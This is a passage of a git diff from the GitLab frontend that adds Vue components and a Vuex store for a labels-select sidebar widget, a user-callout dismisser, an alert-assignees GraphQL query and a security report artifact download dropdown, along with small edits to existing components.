+ @close="$emit('onLabelRemove', label.id)"
+ />
+ </template>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/label_item.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/label_item.vue
new file mode 100644
index 00000000000..e8fdf4bb0c2
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/label_item.vue
@@ -0,0 +1,82 @@
+<script>
+import { GlLink, GlIcon } from '@gitlab/ui';
+
+export default {
+ functional: true,
+ props: {
+ label: {
+ type: Object,
+ required: true,
+ },
+ isLabelSet: {
+ type: Boolean,
+ required: true,
+ },
+ highlight: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ render(h, { props, listeners }) {
+ const { label, highlight, isLabelSet } = props;
+
+ const labelColorBox = h('span', {
+ class: 'dropdown-label-box gl-flex-shrink-0 gl-top-0 gl-mr-3',
+ style: {
+ backgroundColor: label.color,
+ },
+ attrs: {
+ 'data-testid': 'label-color-box',
+ },
+ });
+
+ const checkedIcon = h(GlIcon, {
+ class: {
+ 'gl-mr-3 gl-flex-shrink-0': true,
+ hidden: !isLabelSet,
+ },
+ props: {
+ name: 'mobile-issue-close',
+ },
+ });
+
+ const noIcon = h('span', {
+ class: {
+ 'gl-mr-5 gl-pr-3': true,
+ hidden: isLabelSet,
+ },
+ attrs: {
+ 'data-testid': 'no-icon',
+ },
+ });
+
+ const labelTitle = h('span', label.title);
+
+ const labelLink = h(
+ GlLink,
+ {
+ class: 'gl-display-flex gl-align-items-center label-item gl-text-black-normal',
+ on: {
+ click: () => {
+ listeners.clickLabel(label);
+ },
+ },
+ },
+ [noIcon, checkedIcon, labelColorBox, labelTitle],
+ );
+
+ return h(
+ 'li',
+ {
+ class: {
+ 'gl-display-block': true,
+ 'gl-text-left': true,
+ 'is-focused': highlight,
+ },
+ },
+ [labelLink],
+ );
+ },
+};
+</script>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue
new file mode 100644
index 00000000000..bf30e3cfac5
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue
@@ -0,0 +1,327 @@
+<script>
+import $ from 'jquery';
+import Vue from 'vue';
+import Vuex, { mapState, mapActions, mapGetters } from 'vuex';
+import { isInViewport } from '~/lib/utils/common_utils';
+import { __ } from '~/locale';
+
+import DropdownValueCollapsed from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed.vue';
+
+import { DropdownVariant } from './constants';
+import DropdownButton from './dropdown_button.vue';
+import DropdownContents from './dropdown_contents.vue';
+import DropdownTitle from './dropdown_title.vue';
+import DropdownValue from './dropdown_value.vue';
+import labelsSelectModule from './store';
+
+Vue.use(Vuex);
+
+export default {
+ store: new Vuex.Store(labelsSelectModule()),
+ components: {
+ DropdownTitle,
+ DropdownValue,
+ DropdownButton,
+ DropdownContents,
+ DropdownValueCollapsed,
+ },
+ props: {
+ allowLabelRemove: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ allowLabelEdit: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ allowLabelCreate: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ allowMultiselect: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ allowScopedLabels: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ variant: {
+ type: String,
+ required: false,
+ default: DropdownVariant.Sidebar,
+ },
+ selectedLabels: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ labelsSelectInProgress: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ labelsFetchPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ labelsManagePath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ labelsFilterBasePath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ labelsFilterParam: {
+ type: String,
+ required: false,
+ default: 'label_name',
+ },
+ dropdownButtonText: {
+ type: String,
+ required: false,
+ default: __('Label'),
+ },
+ labelsListTitle: {
+ type: String,
+ required: false,
+ default: __('Assign labels'),
+ },
+ labelsCreateTitle: {
+ type: String,
+ required: false,
+ default: __('Create group label'),
+ },
+ footerCreateLabelTitle: {
+ type: String,
+ required: false,
+ default: __('Create group label'),
+ },
+ footerManageLabelTitle: {
+ type: String,
+ required: false,
+ default: __('Manage group labels'),
+ },
+ isEditing: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ contentIsOnViewport: true,
+ };
+ },
+ computed: {
+ ...mapState(['showDropdownButton', 'showDropdownContents']),
+ ...mapGetters([
+ 'isDropdownVariantSidebar',
+ 'isDropdownVariantStandalone',
+ 'isDropdownVariantEmbedded',
+ ]),
+ dropdownButtonVisible() {
+ return this.isDropdownVariantSidebar ? this.showDropdownButton : true;
+ },
+ },
+ watch: {
+ selectedLabels(selectedLabels) {
+ this.setInitialState({
+ selectedLabels,
+ });
+ },
+ showDropdownContents(showDropdownContents) {
+ this.setContentIsOnViewport(showDropdownContents);
+ },
+ isEditing(newVal) {
+ if (newVal) {
+ this.toggleDropdownContents();
+ }
+ },
+ },
+ mounted() {
+ this.setInitialState({
+ variant: this.variant,
+ allowLabelRemove: this.allowLabelRemove,
+ allowLabelEdit: this.allowLabelEdit,
+ allowLabelCreate: this.allowLabelCreate,
+ allowMultiselect: this.allowMultiselect,
+ allowScopedLabels: this.allowScopedLabels,
+ dropdownButtonText: this.dropdownButtonText,
+ selectedLabels: this.selectedLabels,
+ labelsFetchPath: this.labelsFetchPath,
+ labelsManagePath: this.labelsManagePath,
+ labelsFilterBasePath: this.labelsFilterBasePath,
+ labelsFilterParam: this.labelsFilterParam,
+ labelsListTitle: this.labelsListTitle,
+ labelsCreateTitle: this.labelsCreateTitle,
+ footerCreateLabelTitle: this.footerCreateLabelTitle,
+ footerManageLabelTitle: this.footerManageLabelTitle,
+ });
+
+ this.$store.subscribeAction({
+ after: this.handleVuexActionDispatch,
+ });
+
+ document.addEventListener('mousedown', this.handleDocumentMousedown);
+ document.addEventListener('click', this.handleDocumentClick);
+ },
+ beforeDestroy() {
+ document.removeEventListener('mousedown', this.handleDocumentMousedown);
+ document.removeEventListener('click', this.handleDocumentClick);
+ },
+ methods: {
+ ...mapActions(['setInitialState', 'toggleDropdownContents']),
+ /**
+ * This method differentiates between
+ * dispatched actions and calls necessary method.
+ */
+ handleVuexActionDispatch(action, state) {
+ if (
+ action.type === 'toggleDropdownContents' &&
+ !state.showDropdownButton &&
+ !state.showDropdownContents
+ ) {
+ let filterFn = (label) => label.touched;
+ if (this.isDropdownVariantEmbedded) {
+ filterFn = (label) => label.set;
+ }
+ this.handleDropdownClose(state.labels.filter(filterFn));
+ }
+ },
+ /**
+ * This method stores a mousedown event's target.
+ * Required by the click listener because the click
+ * event itself has no reference to this element.
+ */
+ handleDocumentMousedown({ target }) {
+ this.mousedownTarget = target;
+ },
+ /**
+ * This method listens for document-wide click event
+ * and toggle dropdown if user clicks anywhere outside
+ * the dropdown while dropdown is visible.
+ */
+ handleDocumentClick({ target }) {
+ // We also perform the toggle exception check for the
+ // last mousedown event's target to avoid hiding the
+ // box when the mousedown happened inside the box and
+ // only the mouseup did not.
+ if (
+ this.showDropdownContents &&
+ !this.preventDropdownToggleOnClick(target) &&
+ !this.preventDropdownToggleOnClick(this.mousedownTarget)
+ ) {
+ this.toggleDropdownContents();
+ }
+ },
+ /**
+ * This method checks whether a given click target
+ * should prevent the dropdown from being toggled.
+ */
+ preventDropdownToggleOnClick(target) {
+ // This approach of element detection is needed
+ // as the dropdown wrapper is not using `GlDropdown` as
+ // it will also require us to use `BDropdownForm`
+ // which is yet to be implemented in GitLab UI.
+ const hasExceptionClass = [
+ 'js-dropdown-button',
+ 'js-btn-cancel-create',
+ 'js-sidebar-dropdown-toggle',
+ ].some(
+ (className) =>
+ target?.classList.contains(className) ||
+ target?.parentElement?.classList.contains(className),
+ );
+
+ const hasExceptionParent = ['.js-btn-back', '.js-labels-list'].some(
+ (className) => $(target).parents(className).length,
+ );
+
+ const isInDropdownButtonCollapsed = this.$refs.dropdownButtonCollapsed?.$el.contains(target);
+
+ const isInDropdownContents = this.$refs.dropdownContents?.$el.contains(target);
+
+ return (
+ hasExceptionClass ||
+ hasExceptionParent ||
+ isInDropdownButtonCollapsed ||
+ isInDropdownContents
+ );
+ },
+ handleDropdownClose(labels) {
+ // Only emit label updates if there are any labels to update
+ // on UI.
+ if (labels.length) this.$emit('updateSelectedLabels', labels);
+ this.$emit('onDropdownClose');
+ },
+ handleCollapsedValueClick() {
+ this.$emit('toggleCollapse');
+ },
+ setContentIsOnViewport(showDropdownContents) {
+ if (!showDropdownContents) {
+ this.contentIsOnViewport = true;
+
+ return;
+ }
+
+ this.$nextTick(() => {
+ if (this.$refs.dropdownContents) {
+ this.contentIsOnViewport = isInViewport(this.$refs.dropdownContents.$el);
+ }
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ class="labels-select-wrapper position-relative"
+ :class="{
+ 'is-standalone': isDropdownVariantStandalone,
+ 'is-embedded': isDropdownVariantEmbedded,
+ }"
+ >
+ <template v-if="isDropdownVariantSidebar">
+ <dropdown-value-collapsed
+ ref="dropdownButtonCollapsed"
+ :labels="selectedLabels"
+ @onValueClick="handleCollapsedValueClick"
+ />
+ <dropdown-title
+ :allow-label-edit="allowLabelEdit"
+ :labels-select-in-progress="labelsSelectInProgress"
+ />
+ <dropdown-value
+ :disable-labels="labelsSelectInProgress"
+ @onLabelRemove="$emit('onLabelRemove', $event)"
+ >
+ <slot></slot>
+ </dropdown-value>
+ <dropdown-button v-show="dropdownButtonVisible" class="gl-mt-2" />
+ <dropdown-contents
+ v-show="dropdownButtonVisible && showDropdownContents"
+ ref="dropdownContents"
+ :render-on-top="!contentIsOnViewport"
+ />
+ </template>
+ <template v-if="isDropdownVariantStandalone || isDropdownVariantEmbedded">
+ <dropdown-button v-show="dropdownButtonVisible" />
+ <dropdown-contents
+ v-if="dropdownButtonVisible && showDropdownContents"
+ ref="dropdownContents"
+ :render-on-top="!contentIsOnViewport"
+ />
+ </template>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/actions.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/actions.js
new file mode 100644
index 00000000000..89f96ab916b
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/actions.js
@@ -0,0 +1,58 @@
+import { deprecatedCreateFlash as flash } from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { __ } from '~/locale';
+import * as types from './mutation_types';
+
+export const setInitialState = ({ commit }, props) => commit(types.SET_INITIAL_STATE, props);
+
+export const toggleDropdownButton = ({ commit }) => commit(types.TOGGLE_DROPDOWN_BUTTON);
+export const toggleDropdownContents = ({ commit }) => commit(types.TOGGLE_DROPDOWN_CONTENTS);
+
+export const toggleDropdownContentsCreateView = ({ commit }) =>
+ commit(types.TOGGLE_DROPDOWN_CONTENTS_CREATE_VIEW);
+
+export const requestLabels = ({ commit }) => commit(types.REQUEST_LABELS);
+export const receiveLabelsSuccess = ({ commit }, labels) =>
+ commit(types.RECEIVE_SET_LABELS_SUCCESS, labels);
+export const receiveLabelsFailure = ({ commit }) => {
+ commit(types.RECEIVE_SET_LABELS_FAILURE);
+ flash(__('Error fetching labels.'));
+};
+export const fetchLabels = ({ state, dispatch }) => {
+ dispatch('requestLabels');
+ return axios
+ .get(state.labelsFetchPath)
+ .then(({ data }) => {
+ dispatch('receiveLabelsSuccess', data);
+ })
+ .catch(() => dispatch('receiveLabelsFailure'));
+};
+
+export const requestCreateLabel = ({ commit }) => commit(types.REQUEST_CREATE_LABEL);
+export const receiveCreateLabelSuccess = ({ commit }) => commit(types.RECEIVE_CREATE_LABEL_SUCCESS);
+export const receiveCreateLabelFailure = ({ commit }) => {
+ commit(types.RECEIVE_CREATE_LABEL_FAILURE);
+ flash(__('Error creating label.'));
+};
+export const createLabel = ({ state, dispatch }, label) => {
+ dispatch('requestCreateLabel');
+ axios
+ .post(state.labelsManagePath, {
+ label,
+ })
+ .then(({ data }) => {
+ if (data.id) {
+ dispatch('receiveCreateLabelSuccess');
+ dispatch('toggleDropdownContentsCreateView');
+ } else {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ throw new Error('Error Creating Label');
+ }
+ })
+ .catch(() => {
+ dispatch('receiveCreateLabelFailure');
+ });
+};
+
+export const updateSelectedLabels = ({ commit }, labels) =>
+ commit(types.UPDATE_SELECTED_LABELS, { labels });
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/getters.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/getters.js
new file mode 100644
index 00000000000..d14f96720b7
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/getters.js
@@ -0,0 +1,52 @@
+import { __, s__, sprintf } from '~/locale';
+import { DropdownVariant } from '../constants';
+
+/**
+ * Returns string representing current labels
+ * selection on dropdown button.
+ *
+ * @param {object} state
+ */
+export const dropdownButtonText = (state, getters) => {
+ const selectedLabels = getters.isDropdownVariantSidebar
+ ? state.labels.filter((label) => label.set)
+ : state.selectedLabels;
+
+ if (!selectedLabels.length) {
+ return state.dropdownButtonText || __('Label');
+ } else if (selectedLabels.length > 1) {
+ return sprintf(s__('LabelSelect|%{firstLabelName} +%{remainingLabelCount} more'), {
+ firstLabelName: selectedLabels[0].title,
+ remainingLabelCount: selectedLabels.length - 1,
+ });
+ }
+ return selectedLabels[0].title;
+};
+
+/**
+ * Returns array containing only label IDs from
+ * selectedLabels array.
+ * @param {object} state
+ */
+export const selectedLabelsList = (state) => state.selectedLabels.map((label) => label.id);
+
+/**
+ * Returns boolean representing whether dropdown variant
+ * is `sidebar`
+ * @param {object} state
+ */
+export const isDropdownVariantSidebar = (state) => state.variant === DropdownVariant.Sidebar;
+
+/**
+ * Returns boolean representing whether dropdown variant
+ * is `standalone`
+ * @param {object} state
+ */
+export const isDropdownVariantStandalone = (state) => state.variant === DropdownVariant.Standalone;
+
+/**
+ * Returns boolean representing whether dropdown variant
+ * is `embedded`
+ * @param {object} state
+ */
+export const isDropdownVariantEmbedded = (state) => state.variant === DropdownVariant.Embedded;
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/index.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/index.js
new file mode 100644
index 00000000000..5f61cb732c8
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/index.js
@@ -0,0 +1,12 @@
+import * as actions from './actions';
+import * as getters from './getters';
+import mutations from './mutations';
+import state from './state';
+
+export default () => ({
+ namespaced: true,
+ state: state(),
+ actions,
+ getters,
+ mutations,
+});
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutation_types.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutation_types.js
new file mode 100644
index 00000000000..2e044dc3b3c
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutation_types.js
@@ -0,0 +1,20 @@
+export const SET_INITIAL_STATE = 'SET_INITIAL_STATE';
+
+export const REQUEST_LABELS = 'REQUEST_LABELS';
+export const RECEIVE_LABELS_SUCCESS = 'RECEIVE_LABELS_SUCCESS';
+export const RECEIVE_LABELS_FAILURE = 'RECEIVE_LABELS_FAILURE';
+
+export const REQUEST_SET_LABELS = 'REQUEST_SET_LABELS';
+export const RECEIVE_SET_LABELS_SUCCESS = 'RECEIVE_SET_LABELS_SUCCESS';
+export const RECEIVE_SET_LABELS_FAILURE = 'RECEIVE_SET_LABELS_FAILURE';
+
+export const REQUEST_CREATE_LABEL = 'REQUEST_CREATE_LABEL';
+export const RECEIVE_CREATE_LABEL_SUCCESS = 'RECEIVE_CREATE_LABEL_SUCCESS';
+export const RECEIVE_CREATE_LABEL_FAILURE = 'RECEIVE_CREATE_LABEL_FAILURE';
+
+export const TOGGLE_DROPDOWN_BUTTON = 'TOGGLE_DROPDOWN_VISIBILITY';
+export const TOGGLE_DROPDOWN_CONTENTS = 'TOGGLE_DROPDOWN_CONTENTS';
+
+export const UPDATE_SELECTED_LABELS = 'UPDATE_SELECTED_LABELS';
+
+export const TOGGLE_DROPDOWN_CONTENTS_CREATE_VIEW = 'TOGGLE_DROPDOWN_CONTENTS_CREATE_VIEW';
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutations.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutations.js
new file mode 100644
index 00000000000..55716e1105e
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutations.js
@@ -0,0 +1,70 @@
+import { DropdownVariant } from '../constants';
+import * as types from './mutation_types';
+
+export default {
+ [types.SET_INITIAL_STATE](state, props) {
+ Object.assign(state, { ...props });
+ },
+
+ [types.TOGGLE_DROPDOWN_BUTTON](state) {
+ state.showDropdownButton = !state.showDropdownButton;
+ },
+
+ [types.TOGGLE_DROPDOWN_CONTENTS](state) {
+ if (state.variant === DropdownVariant.Sidebar) {
+ state.showDropdownButton = !state.showDropdownButton;
+ }
+ state.showDropdownContents = !state.showDropdownContents;
+ // Ensure that Create View is hidden by default
+ // when dropdown contents are revealed.
+ if (state.showDropdownContents) {
+ state.showDropdownContentsCreateView = false;
+ }
+ },
+
+ [types.TOGGLE_DROPDOWN_CONTENTS_CREATE_VIEW](state) {
+ state.showDropdownContentsCreateView = !state.showDropdownContentsCreateView;
+ },
+
+ [types.REQUEST_LABELS](state) {
+ state.labelsFetchInProgress = true;
+ },
+ [types.RECEIVE_SET_LABELS_SUCCESS](state, labels) {
+ // Iterate over every label and add a `set` prop
+ // to determine whether it is already a part of
+ // selectedLabels array.
+ const selectedLabelIds = state.selectedLabels.map((label) => label.id);
+ state.labelsFetchInProgress = false;
+ state.labels = labels.reduce((allLabels, label) => {
+ allLabels.push({
+ ...label,
+ set: selectedLabelIds.includes(label.id),
+ });
+ return allLabels;
+ }, []);
+ },
+ [types.RECEIVE_SET_LABELS_FAILURE](state) {
+ state.labelsFetchInProgress = false;
+ },
+
+ [types.REQUEST_CREATE_LABEL](state) {
+ state.labelCreateInProgress = true;
+ },
+ [types.RECEIVE_CREATE_LABEL_SUCCESS](state) {
+ state.labelCreateInProgress = false;
+ },
+ [types.RECEIVE_CREATE_LABEL_FAILURE](state) {
+ state.labelCreateInProgress = false;
+ },
+
+ [types.UPDATE_SELECTED_LABELS](state, { labels }) {
+ // Find the label to update from all the labels
+ // and change `set` prop value to represent their current state.
+ const labelId = labels.pop()?.id;
+ const candidateLabel = state.labels.find((label) => labelId === label.id);
+ if (candidateLabel) {
+ candidateLabel.touched = true;
+ candidateLabel.set = !candidateLabel.set;
+ }
+ },
+};
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/state.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/state.js
new file mode 100644
index 00000000000..d66cfed4163
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/state.js
@@ -0,0 +1,29 @@
+export default () => ({
+ // Initial Data
+ labels: [],
+ selectedLabels: [],
+ labelsListTitle: '',
+ labelsCreateTitle: '',
+ footerCreateLabelTitle: '',
+ footerManageLabelTitle: '',
+ dropdownButtonText: '',
+
+ // Paths
+ namespace: '',
+ labelsFetchPath: '',
+ labelsFilterBasePath: '',
+
+ // UI Flags
+ variant: '',
+ allowLabelRemove: false,
+ allowLabelCreate: false,
+ allowLabelEdit: false,
+ allowScopedLabels: false,
+ allowMultiselect: false,
+ showDropdownButton: false,
+ showDropdownContents: false,
+ showDropdownContentsCreateView: false,
+ labelsFetchInProgress: false,
+ labelCreateInProgress: false,
+ selectedLabelsUpdated: false,
+});
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql
new file mode 100644
index 00000000000..d99fc125012
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql
@@ -0,0 +1,20 @@
+#import "~/graphql_shared/fragments/user.fragment.graphql"
+#import "~/graphql_shared/fragments/user_availability.fragment.graphql"
+
+query alertAssignees(
+ $domain: AlertManagementDomainFilter = threat_monitoring
+ $fullPath: ID!
+ $iid: String!
+) {
+ workspace: project(fullPath: $fullPath) {
+ issuable: alertManagementAlert(domain: $domain, iid: $iid) {
+ iid
+ assignees {
+ nodes {
+ ...User
+ ...UserAvailability
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/vue_shared/components/user_callout_dismisser.vue b/app/assets/javascripts/vue_shared/components/user_callout_dismisser.vue
new file mode 100644
index 00000000000..121c3bd94ef
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/user_callout_dismisser.vue
@@ -0,0 +1,175 @@
+<script>
+import dismissUserCalloutMutation from '~/graphql_shared/mutations/dismiss_user_callout.mutation.graphql';
+import getUserCalloutsQuery from '~/graphql_shared/queries/get_user_callouts.query.graphql';
+
+/**
+ * A renderless component for querying/dismissing UserCallouts via GraphQL.
+ *
+ * Simplest example usage:
+ *
+ * <user-callout-dismisser feature-name="my_user_callout">
+ * <template #default="{ dismiss, shouldShowCallout }">
+ * <my-callout-component
+ * v-if="shouldShowCallout"
+ * @close="dismiss"
+ * />
+ * </template>
+ * </user-callout-dismisser>
+ *
+ * If you don't want the asynchronous query to run when the component is
+ * created, and know by some other means whether the user callout has already
+ * been dismissed, you can use the `skipQuery` prop, and a regular `v-if`
+ * directive:
+ *
+ * <user-callout-dismisser
+ * v-if="userCalloutIsNotDismissed"
+ * feature-name="my_user_callout"
+ * skip-query
+ * >
+ * <template #default="{ dismiss, shouldShowCallout }">
+ * <my-callout-component
+ * v-if="shouldShowCallout"
+ * @close="dismiss"
+ * />
+ * </template>
+ * </user-callout-dismisser>
+ *
+ * The component exposes various scoped slot props on the default slot,
+ * allowing for granular rendering behaviors based on the state of the initial
+ * query and user-initiated mutation:
+ *
+ * - dismiss: Function
+ * - Triggers mutation to dismiss the user callout.
+ * - isAnonUser: boolean
+ * - Whether the current user is anonymous or not (i.e., whether or not
+ * they're logged in).
+ * - isDismissed: boolean
+ * - Whether the given user callout has been dismissed or not.
+ * - isLoadingMutation: boolean
+ * - Whether the mutation is loading.
+ * - isLoadingQuery: boolean
+ * - Whether the initial query is loading.
+ * - mutationError: string[] | null
+ * - The mutation's errors, if any; otherwise `null`.
+ * - queryError: Error | null
+ * - The query's error, if any; otherwise `null`.
+ * - shouldShowCallout: boolean
+ * - A combination of the above which should cover 95% of use cases: `true`
+ * if the query has loaded without error, and the user is logged in, and
+ * the callout has not been dismissed yet; `false` otherwise.
+ */
+export default {
+ name: 'UserCalloutDismisser',
+ props: {
+ featureName: {
+ type: String,
+ required: true,
+ },
+ skipQuery: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ currentUser: null,
+ isDismissedLocal: false,
+ isLoadingMutation: false,
+ mutationError: null,
+ queryError: null,
+ };
+ },
+ apollo: {
+ currentUser: {
+ query: getUserCalloutsQuery,
+ update(data) {
+ return data?.currentUser;
+ },
+ error(err) {
+ this.queryError = err;
+ },
+ skip() {
+ return this.skipQuery;
+ },
+ },
+ },
+ computed: {
+ featureNameEnumValue() {
+ return this.featureName.toUpperCase();
+ },
+ isLoadingQuery() {
+ return this.$apollo.queries.currentUser.loading;
+ },
+ isAnonUser() {
+ return !(this.skipQuery || this.queryError || this.isLoadingQuery || this.currentUser);
+ },
+ isDismissedRemote() {
+ const callouts = this.currentUser?.callouts?.nodes ?? [];
+
+ return callouts.some(({ featureName }) => featureName === this.featureNameEnumValue);
+ },
+ isDismissed() {
+ return this.isDismissedLocal || this.isDismissedRemote;
+ },
+ slotProps() {
+ const {
+ dismiss,
+ isAnonUser,
+ isDismissed,
+ isLoadingMutation,
+ isLoadingQuery,
+ mutationError,
+ queryError,
+ shouldShowCallout,
+ } = this;
+
+ return {
+ dismiss,
+ isAnonUser,
+ isDismissed,
+ isLoadingMutation,
+ isLoadingQuery,
+ mutationError,
+ queryError,
+ shouldShowCallout,
+ };
+ },
+ shouldShowCallout() {
+ return !(this.isLoadingQuery || this.isDismissed || this.queryError || this.isAnonUser);
+ },
+ },
+ methods: {
+ async dismiss() {
+ this.isLoadingMutation = true;
+ this.isDismissedLocal = true;
+
+ try {
+ const { data } = await this.$apollo.mutate({
+ mutation: dismissUserCalloutMutation,
+ variables: {
+ input: {
+ featureName: this.featureName,
+ },
+ },
+ });
+
+ const errors = data?.userCalloutCreate?.errors ?? [];
+ if (errors.length > 0) {
+ this.onDismissalError(errors);
+ }
+ } catch (err) {
+ this.onDismissalError([err.message]);
+ } finally {
+ this.isLoadingMutation = false;
+ }
+ },
+ onDismissalError(errors) {
+ this.mutationError = errors;
+ },
+ },
+ render() {
+ return this.$scopedSlots.default(this.slotProps);
+ },
+};
+</script>
diff --git a/app/assets/javascripts/vue_shared/components/user_select/user_select.vue b/app/assets/javascripts/vue_shared/components/user_select/user_select.vue
index 3116d2fbf32..04e44aa2ed1 100644
--- a/app/assets/javascripts/vue_shared/components/user_select/user_select.vue
+++ b/app/assets/javascripts/vue_shared/components/user_select/user_select.vue
@@ -60,6 +60,11 @@ export default {
required: false,
default: 'issue',
},
+ isEditing: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
},
data() {
return {
@@ -74,6 +79,9 @@ export default {
query() {
return participantsQueries[this.issuableType].query;
},
+ skip() {
+ return Boolean(participantsQueries[this.issuableType].skipQuery) || !this.isEditing;
+ },
variables() {
return {
iid: this.iid,
@@ -99,10 +107,13 @@ export default {
first: 20,
};
},
+ skip() {
+ return !this.isEditing;
+ },
update(data) {
// TODO Remove null filter (BE fix required)
// https://gitlab.com/gitlab-org/gitlab/-/issues/329750
- return data.workspace?.users?.nodes.filter((x) => x).map(({ user }) => user) || [];
+ return data.workspace?.users?.nodes.filter((x) => x?.user).map(({ user }) => user) || [];
},
debounce: ASSIGNEES_DEBOUNCE_DELAY,
error({ graphQLErrors }) {
diff --git a/app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue b/app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue
index 54313297b14..a2b432d11f4 100644
--- a/app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue
+++ b/app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue
@@ -129,7 +129,7 @@ export default {
<gl-icon name="chevron-right" :size="8" />
</template>
</gl-breadcrumb>
- <legacy-container :key="activePanel.name" class="gl-mt-3" :selector="activePanel.selector" />
+ <legacy-container :key="activePanel.name" :selector="activePanel.selector" />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue b/app/assets/javascripts/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue
new file mode 100644
index 00000000000..8fdc5ca78db
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue
@@ -0,0 +1,82 @@
+<script>
+import { reportTypeToSecurityReportTypeEnum } from 'ee_else_ce/vue_shared/security_reports/constants';
+import createFlash from '~/flash';
+import { s__ } from '~/locale';
+import SecurityReportDownloadDropdown from '~/vue_shared/security_reports/components/security_report_download_dropdown.vue';
+import securityReportMergeRequestDownloadPathsQuery from '~/vue_shared/security_reports/queries/security_report_merge_request_download_paths.query.graphql';
+import { extractSecurityReportArtifactsFromMergeRequest } from '~/vue_shared/security_reports/utils';
+
+export default {
+ components: {
+ SecurityReportDownloadDropdown,
+ },
+ props: {
+ reportTypes: {
+ type: Array,
+ required: true,
+ validator: (reportType) => {
+ return reportType.every((report) => reportTypeToSecurityReportTypeEnum[report]);
+ },
+ },
+ targetProjectFullPath: {
+ type: String,
+ required: true,
+ },
+ mrIid: {
+ type: Number,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ reportArtifacts: [],
+ };
+ },
+ apollo: {
+ reportArtifacts: {
+ query: securityReportMergeRequestDownloadPathsQuery,
+ variables() {
+ return {
+ projectPath: this.targetProjectFullPath,
+ iid: String(this.mrIid),
+ reportTypes: this.reportTypes.map(
+ (reportType) => reportTypeToSecurityReportTypeEnum[reportType],
+ ),
+ };
+ },
+ update(data) {
+ return extractSecurityReportArtifactsFromMergeRequest(this.reportTypes, data);
+ },
+ error(error) {
+ this.showError(error);
+ },
+ },
+ },
+ computed: {
+ isLoadingReportArtifacts() {
+ return this.$apollo.queries.reportArtifacts.loading;
+ },
+ },
+ methods: {
+ showError(error) {
+ createFlash({
+ message: this.$options.i18n.apiError,
+ captureError: true,
+ error,
+ });
+ },
+ },
+ i18n: {
+ apiError: s__(
+ 'SecurityReports|Failed to get security report information. Please reload the page or try again later.',
+ ),
+ },
+};
+</script>
+
+<template>
+ <security-report-download-dropdown
+ :artifacts="reportArtifacts"
+ :loading="isLoadingReportArtifacts"
+ />
+</template>
diff --git a/app/assets/javascripts/vue_shared/security_reports/components/help_icon.vue b/app/assets/javascripts/vue_shared/security_reports/components/help_icon.vue
index 26bc9b5d60e..eed1c86c318 100644
--- a/app/assets/javascripts/vue_shared/security_reports/components/help_icon.vue
+++ b/app/assets/javascripts/vue_shared/security_reports/components/help_icon.vue
@@ -53,6 +53,6 @@ export default {
</span>
